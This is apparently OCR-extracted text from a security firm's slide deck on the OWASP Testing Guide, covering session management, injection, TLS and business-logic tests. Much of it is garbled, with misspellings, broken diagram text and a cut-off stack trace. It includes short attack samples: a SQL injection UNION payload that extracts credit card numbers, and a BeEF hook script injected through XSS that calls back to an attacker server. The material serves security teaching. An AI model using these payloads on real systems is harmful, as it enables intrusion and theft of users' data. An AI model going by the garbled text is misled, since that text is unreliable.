Testing for Insecure Direct Object References (OTG-AUTHZ-004)

Uploaded files, banking detalils

http://foo.bar/showlimage?img=img00011
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Your first call when it comes to IT and Security!

Testing for
Testing for
Testing for

Testing Directory traversal/file include (OTG-AUTHZ-001)

pypassing authorization schema (OTG-AUTHZ-002)
Privilege Escalation (OTG-AUTHZ-003)

nsecure Direct Object References (OTG-AUTHZ-004)




Upload allowed + direct access

isco ASA 9 %
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Testing Guide

e Session Management

Security Audit

Intrusion Test

Trustimplies control,
Rate your vulnerability !
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Your first call when it comes to IT and Security!

—

i March 16, 2017




=N\ —=0 0 00 0=
GHNCEL LU=
Your first call when it comes to IT and Security!

Testing for Bypassing Session Management Schema (OTG-SESS-001)

Are all Set-Cookie directives tagged as Secure?

* Do any Cookie operations take place over unencrypted transport?

« Can the Cookie be forced over unencrypted transport?

* If so, how does the application maintain security?

* Are any Cookies persistent?

» \What Expires= times are used on persistent cookies, and are they reasonable?
 Are cookies that are expected to be transient configured as such?

 What HTTP/1.1 Cache-Control settings are used to protect Cookies?
 What HTTP/1.0 Cache-Control settings are used to protect Cookies?
sha256(192.168.100.1:owaspuser:password:15:58)

Birthday paradox S S
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Testing for Cookies attributes (OTG-SESS-002)
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Your first call when it comes to IT and Security!

Testing for Session Fixation (OTG-SESS-003)

POST https://www.example.com/authentication.php HTTP/1.1
Host: www.example.com

Keep-Alive: 300

Connection: keep-alive

Referer: http://www.example.com

Cookie: JSESSIONID=0000d8eyYq3L0z2fgqlOm4v-rt4:-1
Content-Type: application/x-www-form-urlencoded
Content-length: 57
Name=Meucci&wpPassword=secret!&wpLoginattempt=Log+in

HTTP/1.1 200 OK
Date: Thu, 14 Aug 2008 14:52:58 GMT
Server: Apache/2.2.2 (Fedora)
X-Powered-By: PHP/5.1.6
Content-language: en
Cache-Control: private, must-revalidate, max-age=0
Content-length: 4090
Connection: close
Content-Type: text/html; charset=UTF-8
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Your first call when it comes to IT and Security!

Testing for Exposed Session ID (OTG-SESS-004)

Protocol used (e.g., HTTP vs. HTTPS)
HTTP Headers

Mixed content

Message Body (e.g., POST or page content)




Ewvil.com makes request to
AP ICANoA 1ESNg USEr § 5&850n
cradentiats

/R APPLCATN
L

Jsor vesits avil.com in

Snothar browsar wirndow

User 1logs in and creates session with web
appiication

Protection actions —

« Tag each form with unique fokan and vernfy on form submission

« Venfy Referar headers, if available
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Your first call when it comes to IT and Security!

Testing for logout functionality (OTG-SESS-006)

* A log out button is present on all pages of the web application.

* The log out button should be identified quickly by a user who wants to
log out from the web application.

* After loading a page the log out button should be visible without
scrolling.

* |deally the log out button is placed in an area of the page that is fixed in
the view port of the browser and not affected by scrolling of the content

What in an SSO environnement ?
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Your first call when it comes to IT and Security!

Test Session Timeout (OTG-SESS-007)

* The log out function effectively destroys all session token, or at least
renders them unusable,

* The server performs proper checks on the session state, disallowing
an attacker to replay previously destroyed session identifiers

» Atimeout is enforced and it is properly enforced by the server. If the
server uses an expiration time that is read from a session token that is
sent by the client (but this is not advisable), then the token must be
cryptographically protected from tampering.

A S
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Your first call when it comes to IT and Security!

Testing for Session puzzling (OTG-SESS-008)

This vulnerabllity occurs when an application uses the same session
variable for more than one purpose.

Classical example : shared host + 2 applications.
$ SESSIONJ[“logged”]=true; in one application.
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Your first call when it comes to IT and Security!

Testing for Bypassing Session Management Schema (OTG-SESS-001)
Testing for Cookies attributes (OTG-SESS-002)

Testing for Session Fixation (OTG-SESS-003)

Testing for Exposed Session Variables (OTG-SESS-004)

Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)
Testing for logout functionality (OTG-SESS-006)

Test Session Timeout (OTG-SESS-007)

Testing for Session puzzling (OTG-SESS-008)
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* Input Validation

Security Audit

Intrusion Test

Trustimplies control,
Rate your vulnerability !
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Your first call when it comes to IT and Security!
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USED

BEEF OWNER
(ATTACKER)

XssRAYS

IN

BEEF 0.4.2.9-ALPHA
XSSRAYS INTEGRATION

START XsSsSRAYS

EXCELLIUR

Your first call when it comes to IT

<} --- POLLING

(TMEOUT: S0O000
CROSSDOMAIN: TRUE)

Hooked

SERVING COMMANDS Domain

GET /XS5S5RAYS/RAYS?SESS=123.<ATTACK_INFO>
HOST: BEEF_SERVER

THE ATTACKER CAN NOW TRICK THE VICGTIM TO
LOAD HTTPY//EXT.COM/PAGEZ27MAIL=1"><SCRIPT
srRc="BEEF-HOOK"> </sScRrRIPT>

ATTACK SURFACE EXPANDED!

IS PARTICULARLY EFFECTIVE WHEN
INTRANET EXPLOITATION USING BEEF.

~%

~— VICTIM 1

EXAMPLE.COM

SERVE XSSRAYS MAIN

JS TO THE VICTIM
XssRAYS LOADED

IN THE DOM

CRAWL LINKS AND FORMS IN THE HOOKED
PAGE OF DOMAIN EXAMPLE.COM

D
@

LOAD PREVIOUSLY ENUMERATED RESOURCES IN
HIDDEN IFRAMES, INCLUDING CROSS-DOMAIN
RESDOURCES

| HOOKED PAGE |

<A HREF="/PAGE1 ZNAME=TEST...
<FORM acTiON="/PAGE4"...
<A HREF "EXT.COM/PAGEZ27MAIL=BLA"

IFRAME_ 1
IFRAME_2
IFRAME_3

<IFRAME ID="IFRAME_3" sRc="EXT.COM/PAGEZ?
MAIL=BLA"> <SCRIPT>DOCUMENT.LOCATION.HREF="
<BEEF-RESOURCE>"</scriPpT>"

IFRAME_3 1S RENDERED: IF THE MAIL PARAMETER
IS VULNERABLE TO XSS, THE ATTACK VECTOR
WHEN TRIGGERED WILL CONTACT BACK BEEF

NOTE: THE DRIGINAL XSSRAYS VERSION (0.5.5,
2009) FROM GARETH HEYES WAS USING A NICE TRICK
(LOCATION.HASH) TO COMMUNICATE BETWEEN PARENT/
CHILD IFRAMES. NOWADAYS THIS HAS BEEN PATCHED.
THIS IS WHY WE'RE USING THE LOCATION.HREF TRICK TO
CHECK FOR CROSS-DOMAIN VULNERABLE RESOURCES.




EACESLIU=

Your first call when it comes to IT and Security!

Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)
Testing for Stored Cross Site Scripting (OTG-INPVAL-002)
Testing for HTTP Verb Tampering (OTG-INPVAL-003)
Testing for HTTP Parameter pollution (OTG-INPVAL-004)
Testing for SQL Injection (OTG-INPVAL-005)

Testing for LDAP Injection (OTG-INPVAL-006)

Testing for ORM Injection (OTG-INPVAL-007)

Testing for XML Injection (OTG-INPVAL-008)

Testing for SSI Injection (OTG-INPVAL-009)

Testing for XPath Injection (OTG-INPVAL-010)
IMAP/SMTP Injection (OTG-INPVAL-011)

Testing for Code Injection (OTG-INPVAL-012)

Testing for Command Injection (OTG-INPVAL-013)
Testing for Buffer overflow (OTG-INPVAL-014)

Testing for incubated vulnerabilities (OTG-INPVAL-015)
Testing for HTTP Splitting/Smuggling (OTG-INPVAL-016)
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SELECT Name, Phone, Address FROM Users WHERE 1d=%id

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM Credit-CardTable
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=1 UNION ALL SELECT creditCardNumber,1,1 FROM Credit-CardTab

Sh |'c'_l_.' localhost/sqlol/search.php?g=0'Ne vi@| g~ n::1.::|.E{| @
pJ BackTrack Linux [l Offensive Security EBExploit-DB Y Aircrack-ng J§§SomaFM
Searching for O'Neil

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to
use near 'Neil' GROUP BY username ORDER BY username ASC'
at line 1

This is the Query you executed (injection string is underlined):

SELECT usermname FROM users WHERE username LIKE 'O'Neil’
GROUP BY username ORDER BY username ASC
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org.springframework.web.HotpRequestMethodNotSupportedException: Regquest method 'PUT' not supported

org.springframework.
org.springframework.
org.springframework.
org.springframework.
org.springframework.
org.springframework.
org.springframework.

web.servlet.
web.servlet.
webflow.mve.
web.=servliet.
web.servliet.
web.servlet.
web.servlet.

support.WebContentGenerator. checkAndPrepare (WebContentGenerator.java: 250
support.WebContentGenerator. checkAndPrepare (WebContentGenerator.java: 229
servlet.FlowHandlerAdapter.handle (FlowHandlerfidapter.java:178)
DispatcherServlet.dolDispatch (DispatcherServlet.java:790)
DispatcherServlet.doService (DispatcherServlet.java:719)
FrameworkServlet.processBEequest (FrameworkServlet.java: 644)
FrameworkServlet.doPut (FrameworkServlet.java:571)

javax.servliet.http.HttpServlet.service (HotpServlet.java: 650)

javax.=servliet . http.HttpServlet.zervice (HttpServlet.java:728)
org.jasig.cas.web.initc.S5afeDispatcherServiet.service arcundBody? (SafeDispatcherServlet.java:l12g)
org.jasig.cas.weh.init.SafeDispatcherServlet.service_aroundﬂod23$advice(SafeDispatcherServlet.java:5?}
org.jasig.cas.web.init.SafelDispatcherServlet.service (SafeDispatcherServlet.java:l)
web.filter.CharacterEncodingFilter.doFilterInternal (CharacterEncodingFilter.java:8E)
web.filter.COncePerRequestFilter.doFilter (CncePerRequestFilter.java:76)
web.filter.DelegatingFilterProxy.invokeDelegate (DelegatingFilterProxy.java:237)
web.filter.DelegatingFilterProxy.doFilter (DelegatingFilterProxvy.java:167)

common . Wweb.ClientInfoThreadLocal Filter.doFilter (ClientInfoThreadLocalFilter.java: 63)

org.springframework.
org.springframework.
org.springframework.
org.springframework.
com.github.inspektr.

La trace compléte de 3 cause mére de cette erreur est disponible dans les fichiers journaux de Apache Tomcat/7.0.33.

Aache Tomcat/7.0.33
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Your first call when it comes to IT and Security!

Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)

Rejected TLSvl 128 bits ECDH-RSA-AES128-SHA
Rejected TLSvl 128 bits ECDH-ECDSA-AES128-SHA
Failed TLSvl 128 bits AES128-GCM-SHA256
Failed TLSvl 128 bits AES128-SHA256
Accepted TLSv1l 128 bits AES128-SHA
Accepted TLSv1l 128 bits SEED-SHA
Accepted TLSv1l 128 bits CAMELLIA128-SHA
Failed TLSvl 128 bits PSK-AES128-CBC-SHA
Rejected TLSvl 128 bits ECDHE-RSA-RC4-SHA
Rejected TLSvl 128 bits ECDHE-ECDSA-RC4-SHA
Rejected TLSv1l 128 bits AECDH-RC4-SHA
Rejected TLSv1l 128 bits ADH-RC4-MD5
Rejected TLSv1l 128 bits ECDH-RSA-RC4-SHA
Rejected TLSv1l 128 bits ECDH-ECDSA-RC4-SHA
Accepted TLSv1l 128 bits RC4-SHA
Accepted TLSv1l 128 bits RC4-MD5

Kali TLSScan, sslyze
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Your first call when it comes to IT and Security!

Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer
Protection

(OTG-CRYPST-001)
Testing for Padding Oracle (OTG-CRYPST-002)

Testing for Sensitive information sent via unencrypted channels
(OTG-CRYPST-003)

SSLv3/TLSv1.2 ? Which one ?
Paddbuster
302 redirect for http to https redirection ?
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Your first call when it comes to IT and Security!

Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-
CRYPST-001)

http://bank.com

Certificate is valid! ...
...for benk.com

Browser Man in the middle

Testing for Padding Oracle (OTG-CRYPST-002)
Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)




L HTTP redirect 302
isco ASA 9
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> SQL Transaction
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Testing Guide

* Business Testing

Security Audit

Intrusion Test

Trustimplies control,
Rate your vulnerability !
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Your first call when it comes to IT and Security!
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Your first call when it comes to IT and Security!

Test Business Logic Data Validation (OTG-BUSLOGIC-001)

Test Ability to Forge Requests (OTG-BUSLOGIC-002)

Test Integrity Checks (OTG-BUSLOGIC-003)

Test for Process Timing (OTG-BUSLOGIC-004)

Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)
Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)

Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)

Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)

Test Upload of Malicious Files (OTG-BUSLOGIC-009)




EXCESLIU=

Your first call when it comes to IT and Security!

~ Exploit-DB:

>

~ Victims:

~~ https://github.com/victims/victims-enforcer
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- OWASP Guides: e m—

—
en,
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- ey P Ay
Al .com/spotuignvowasp

—— -
= -— -



https://github.com/victims/victims-enforcer
http://www.lulu.com/spotlight/owasp
http://resources.infosecinstitute.com/password-cracking-evolution/
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